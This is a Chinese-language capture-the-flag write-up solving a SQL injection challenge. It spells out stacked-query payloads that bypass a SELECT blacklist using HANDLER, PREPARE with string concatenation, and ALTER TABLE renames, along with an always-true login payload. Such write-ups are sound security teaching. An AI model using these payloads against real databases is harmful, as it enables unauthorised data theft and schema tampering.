看题名是sql注入,输入框中默认是1,点提交试下,正常回显
输入1'试下,发现报错,确认是字符型注入,闭合符为'
尝试联合注入
1'union select 1#
发现存在黑名单过滤,过滤掉了select
尝试加注释,双写,大小写绕过等均不可行,尝试使用show语句
1'union show databases#
发现union直接被过滤掉了,虽然它并不存在在回显给我们的黑名单里
尝试将union换成or,同样被过滤;尝试加注释,双写,大小写,还是不行,那么尝试堆叠注入
1';show tables#
回显成功,当前数据库中有两个表,1919810931114514这个表看起来更可疑,查看下该表中有什么字段(该表名为数字,为保证能被正确解析,需用反引号括起来)
1';show columns from `1919810931114514`;#
存在flag字段,大概就是我们想要的了,但是select被过滤,该如何查看flag字段呢?
这里提供三种解法
方法一
使用handler语句,handler语句是MySQL中特有的语句,可以逐行查看表中的数据
打开表:
HANDLER 表名 OPEN ;
查看数据:
HANDLER 表名 READ next;(逐行输出数据直至结束)
HANDLER 表名 READ first;(输出第一行数据)
关闭表:
HANDLER 表名 READ CLOSE;
构造payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close#
得到flag
方法二
使用PREPARE预编译来绕过黑名单过滤
PREPARE statement_name FROM statement_string;
statement_name 是你想要给准备好的查询指定的名称,可以自定义,用于在后续执行该查询时引用。
statement_string 是一个包含 SQL 查询的字符串,可以包含占位符,这些占位符稍后会被绑定到具体的值上,用于在执行查询时提供参数。
一旦使用 PREPARE 准备好了一个查询,你可以使用 EXECUTE 来执行它,或者 DEALLOCATE PREPARE 来释放它,以节省资源。
EXECUTE statement_name;
这样就会执行之前准备好的查询,并返回结果。
构造payload:
1';prepare hack from concat('sele','ct',' * from `1919810931114514`');execute hack#
得到flag
方法三
我们所处的数据库下有两张表,一张1919810931114514,一张words,前者放的是flag,那么可以猜测我们输入1时回显的数据是来自于words表,即默认查询的是words。甚至连实现查询的语句都能猜出来,无非是
select * from words where id=(input)
或者类似意思的代码。测试rename、alter、change等关键词没有被拦截,那么我们可以先将words表改名为随便其他一个名字,然后将表1919810931114514改名为words,将flag字段改名为作为被查询参数的字段名,修改完毕后输入万能密码,从而爆出flag。
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
使用desc命令查看表words的结构:
1';desc `words`#
可知存在id和data两个字段,输入框中的那个1显然是id,那么就是需要修改flag字段为id字段
构造payload:
1';alter table words rename to x;alter table `1919810931114514` rename to words;alter table `words` change flag id varchar(50)#
输入万能密码1'or'1'='1(别问我这里的or为什么没有被过滤..我也不知道..试了单边空格,前后空格都有能存活的时候,所以感觉纯玄学..不琢磨了),爆出密码
以上
Comments | NOTHING